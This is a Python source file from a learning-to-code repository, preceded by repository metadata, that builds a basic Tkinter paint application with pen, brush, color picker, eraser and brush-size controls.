80daa56f631b017efd12901585f1fc0520ebfb24 | c94168a19f02906b2b3047bf378810e9d96c7db9 | /Day32-Paint.py | e44cfcab10b22e1d26910acbe5ec4faf5c187cde | [] | no_license | cavmp/200DaysofCode | dc754d610c7a95859fd1471c2ada57b85b8f4440 | 97be78fe9b3972aa79971d523a78a0d7f872e489 | refs/heads/master | 2022-12-29T23:59:58.323082 | 2020-10-09T15:39:15 | 2020-10-09T15:39:15 | 267,060,637 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,214 | py | from tkinter import *
from tkinter.colorchooser import askcolor
class Paint(object):
def __init__(self):
self.root = Tk()
self.root.title('Paint')
self.canvas = Canvas(self.root, bg='white', width=800, height=700)
self.canvas.grid(row=2, columnspan=5)
self.pen_button = Button(self.root, text='PEN', command=self.pen)
self.pen_button.grid(row=1, column=0)
self.brush_button = Button(self.root, text='BRUSH', command=self.brush)
self.brush_button.grid(row=1, column=1)
self.color_button = Button(self.root, text='COLOR', command=self.choose_color)
self.color_button.grid(row=1, column=2)
self.eraser_button = Button(self.root, text='ERASER', command=self.eraser)
self.eraser_button.grid(row=1, column=3)
self.choose_size_button = Scale(self.root, from_=1, to=100, orient=VERTICAL)
self.choose_size_button.grid(row=1, column=4)
self.setup()
self.root.mainloop()
def setup(self):
self.line_width = self.choose_size_button.get()
self.color = 'black' # default color
self.eraser_on = False
self.active_button = self.pen_button
self.canvas.bind('<B1-Motion>', self.paint)
def pen(self):
self.activate_button(self.pen_button)
def brush(self):
self.activate_button(self.brush_button)
def choose_color(self):
self.eraser_on = False
self.color = askcolor(color=self.color)[1]
def eraser(self):
self.activate_button(self.eraser_button, eraser_mode=True)
def activate_button(self, some_button, eraser_mode=False):
self.active_button.config(relief=RAISED)
some_button.config(relief=SUNKEN)
self.active_button = some_button
self.eraser_on = eraser_mode
def paint(self, event):
self.line_width = self.choose_size_button.get()
paint_color = 'white' if self.eraser_on else self.color
x1, y1 = (event.x-1), (event.y-1)
x2, y2 = (event.x+1), (event.y+1)
self.canvas.create_line(x1, y1, x2, y2, width=self.line_width, fill=paint_color, capstyle=ROUND, smooth=TRUE)
if __name__ == '__main__':
Paint()
| [
"[email protected]"
] |
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